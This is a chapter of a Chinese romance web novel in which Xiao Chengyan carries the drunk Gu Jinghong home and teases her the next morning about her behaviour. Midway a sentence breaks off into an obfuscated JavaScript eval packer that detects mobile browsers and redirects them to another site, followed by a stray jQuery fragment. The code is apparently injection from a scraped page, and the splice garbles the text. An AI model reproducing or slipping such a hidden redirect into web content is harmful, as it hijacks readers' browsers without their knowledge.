夜风低吟,清冷的月光无声地笼罩着他们。
萧承砚深吸一口气,压下翻腾的心绪,利落地解开自己身上那件质地厚实的玄色薄氅。俯下身,小心翼翼地将氅衣裹在顾惊鸿身上,尽量不惊动她。
动作间,她身上淡淡的酒气和一丝若有似无的冷香再次萦绕鼻端。萧承砚的动作顿了顿,随即更轻缓地将手臂穿过她的膝弯和后背,稳稳地将她打横抱起。
她的身体意外的轻,带着酒气的温热和一丝不易察觉的冷香,卸下所有防备后,脆弱的像一件易碎的珍宝。
温软的躯体依偎在他怀中,发丝蹭过他的下颌,带来一阵细微的痒意,顾惊鸿往萧承砚怀里缩了缩。
萧承砚的身体几不可察地僵了一瞬,抱着她的手臂不自觉地收紧了几分,朝着春申苑走去。
……
翌日·晨
顾惊鸿在尖锐的头痛中醒来,意识回笼,身下是柔软的衾被而非冰冷的琉璃瓦。
眩晕感让她太阳穴突突直跳。她撑起身,一件厚重的玄色薄氅滑落。
玄色……薄氅……
她抓起大氅,清冽的甘松冷香——萧承砚的味道!
记忆碎片轰然炸开——冷月、烈酒……还有那个踏月而来的身影。
萧承砚!
他来过,在她醉得不省人事的时候!
寒意瞬间窜上脊背。
她单手支撑在膝上,抓着自己的脖颈侧方,破碎的画面在脑中一一闪现:灌酒的痛苦,月下的独白……然后……她抓住了他的手!
「王爷的手……真是好看……」
「指节分明……像玉雕……」
「……摸起来……也有疤?……咦?……磨糙了?」
想到这里,她懊恼地闭上了双眼——天!她不仅摸了烬王的手,还像个登徒子一样点评。更可怕的是“手”的后面,如果说了手,会不会也顺便说了关于密匣、关于义父能开锁的秘密?
昨夜难不成将秘密和盘托出了?
“芝芯!”她声音沙哑颤抖,迫切想知道昨夜后续。
“吱呀”一声,房门被推开。
顾惊鸿定睛一看,逆着晨光走进来的,却是那道挺拔清隽的身影——萧承砚。
他步履沉稳,浅青色常服衬得他肩宽腰窄,深邃的目光落在床上脸色苍白、紧攥着他大氅的顾惊鸿身上。
晨光勾勒着他冷峻的侧脸,无形的压力弥漫开来。
顾惊鸿心跳骤停,随即狂擂——大清早的,他怎么在这里?!
萧承砚在离床榻几步处站定,目光扫过她手中的大氅,声音平静无波,听不出喜怒:“醒了?宿醉可难受?”
他语气自然得仿佛只是寻常问候。
顾惊鸿强作镇定,飞快将大氅放到一旁,“……王爷,您……怎会在春申苑?”
萧承砚目光在她放下的氅衣上一掠,淡淡道:“本王的氅衣。想着你或许醒了,顺道来取。”
顾惊鸿恍然大悟般将大氅捧起来,递给萧承砚眼。
“昨夜……是王爷送惊鸿回来的?惊鸿……酒后失仪,若有冒犯之处,万望王爷恕罪。”
萧承砚没有立刻回答。
他向前走了两步,靠近床边,然后微微俯身,目光沉静地锁住她低垂的眼睫。
咚咚——咚咚——咚咚——
厢房内静得能听到顾惊鸿自己的心跳。
半晌,萧承砚才缓缓开口,声音低沉平稳,却字字清晰:“惊鸿昨夜,确有几处……令本王印象深刻。”
顾惊鸿的心猛地一沉,指尖冰凉。
萧承砚深邃的眼眸看着她强装的镇定下难以掩饰的恐惧,眼底深处掠过一丝极淡的、难以捉摸的情绪。
他语气依旧平稳,却带上了一丝难以言喻的意味。
“其一,你扣住本王手腕,言道‘王爷的手真是好看’,反复摩挲,还对本王指间薄茧的来历……颇感兴趣。”他陈述得一本正经,仿佛在说别人的事。
顾惊鸿的脸“唰”地红了,羞窘难当!
便是这一红,让萧承砚原先就微微上翘的弧度愈发明显了些。
“其二,”萧承砚继续用那平稳的声调说道,“你言说高处风冷刺骨,不容分说,便将本王身上的氅衣……‘取’走了。”他目光落在顾惊鸿捧在手中的玄色大氅上,“便是此物。”
……抢衣服?她竟对烬王如此霸道?
“其三,”萧承砚的语调微微一顿,目光更深地看进她眼中,“你倚在鸱吻旁,身形不稳,本王欲扶你下来。你却……”他似乎在斟酌用词,“……执意不肯独行,声称瓦片湿滑,需得有人相携方可。”
顾惊鸿的脸已经红得快要滴血,她恨不能找个地缝钻进去!——需得有人相携?这不就是变相说她……耍赖要他抱吗?!
萧承砚看着她窘迫得几乎要缩进被子的模样,终于停住了陈述。
他微微倾身,离她更近了些,温热的呼吸拂过她的额发,低沉的声音里带上了一丝几乎难以察觉的、玩味的探究:“顾惊鸿。”
他唤她的名字,目光锁住她慌乱躲闪的眼睛,明明是连名带姓叫的她,却仍将这三个字念得暧昧。
“本王很想知道,昨夜种种,究竟是醉后失智,无心之举……”他刻意停顿了一下,才缓缓吐出后半句,“……还是你心中所想,借酒行之?”
顾惊鸿红着脸,抬眸看着萧承砚——彻底懵了!
巨大的荒谬感和羞耻感再次淹没了她,让她一时语塞。
然而,在这铺天盖地的窘迫之下,那根紧绷到极致的心弦,却终于、彻底地松弛了下来。
没有南风密匣!
没有她的手!
没有义父!
他只记得这些……这些让她无地自容的“轻薄”之举!
虽然代价是她的形象在烬王殿下心中可能已经碎成了渣,但其实……自进入这王府以来,顾惊鸿已经在有意或者无意之下,做过很多有损形象的事了……要他抱,反而算不得什么奇怪的事了。
潜渊阁的秘密保住了。
她看着萧承砚近在咫尺的脸,那张俊美却总是冷若冰霜的脸上,此刻那双深邃的眼眸里,似乎没有了平日的锐利审视,反而沉淀着一种复杂难
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326822|183261||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
辨的情绪——有探究,有审视。
或许……还有一丝极淡的、被她巨大反差所引发的……兴味?以及对她此刻羞窘反应的……了然?
他看似在“兴师问罪”,用最严肃的语气陈述最让她羞耻的事实,实则在用一种极其隐晦的方式告诉她——你担心的那些事,昨夜并未发生。我关注的,是“另外”的事。
顾惊鸿张了张嘴,想解释,想撇清,想说“全是醉后无心之举”,却在对上他那双仿佛洞悉一切的眼眸时,一个字也说不出来。
萧承砚看着她这副模样,几不可察地弯了一下唇角,那弧度快得如同错觉。他直起身,恢复了惯常的疏离姿态,仿佛刚才那番带着暧昧质问的陈述从未发生过。
“氅衣既已取回,你好生休息。”他语气平淡,从顾惊鸿手中接过大氅,转身欲走。
“王爷!”顾惊鸿几乎是下意识地叫住他。
萧承砚脚步一顿,侧身看她,眼神询问。
顾惊鸿深吸一口气,压下翻腾的心绪,努力找回一丝清明,声音依旧有些发紧:“昨夜……除了这些……惊鸿可还说了什么……别的胡话?”
萧承砚回视着她,深邃的眼眸如同古井,沉默了片刻,才缓缓道:“月下醉语,多是呓语,听不真切。顾姑娘不必挂怀。”
他顿了顿,补充了一句,语气带着一丝若有似无的深意,“倒是你反复提及‘孤家寡人’四字,悲切之意,甚浓。”
说完,他不再停留,拿起自己的玄色大氅,转身离开了厢房。
顾惊鸿怔怔地看着他消失在门口,直到房门轻轻合上,才回过神来。
“孤家寡人”……他听清了?还是……在暗示什么?
难道他已经预料到了她在意的事,所以先前那些调笑之言不过就是在安慰她?
是啊,为什么她一个心防那么重的人,会跟萧承砚说那么多……难道她……
顾惊鸿脸颊依旧滚烫,心却跳得更加纷乱。
“顾姑娘……”礼送王爷离开之后,芝芯才回到厢房。
顾惊鸿回眸看着芝芯,问道:“芝芯,昨夜是王爷带我回来的?”
芝芯噗嗤一声捂嘴笑了,眼角眉梢都带着促狭,“姑娘还问‘带’?王爷可是亲自将您稳稳当当地‘抱’回榻上的呢。”
顾惊鸿只觉得轰的一声,方才好不容易褪下的红晕又瞬间烧到了耳根,懊恼地一把抓乱了额前的碎发。原来……那所谓的“需得相携”,竟真是如此。
她羞愤欲死地把脸埋进掌心片刻,才瓮声瓮气地又问:“那……王爷那件大氅,也是我……非要留下的?”
芝芯摇头道:“那倒不是您硬留的。”
顾惊鸿刚松了口气。
却听芝芯又凑近了些,声音里满是不可思议的困惑:“不过姑娘,王爷可是出了名的洁癖重啊!您想啊,那氅衣沾着您的酒气、汗气,还裹了一夜……按常理,王爷别说亲自来取,怕是早该吩咐人拿去烧了才干净!今儿个巴巴地亲自过来拿走,这可真是太阳打西边出来了。”
顾惊鸿猛的抬头——嗯?
他是特意过来的?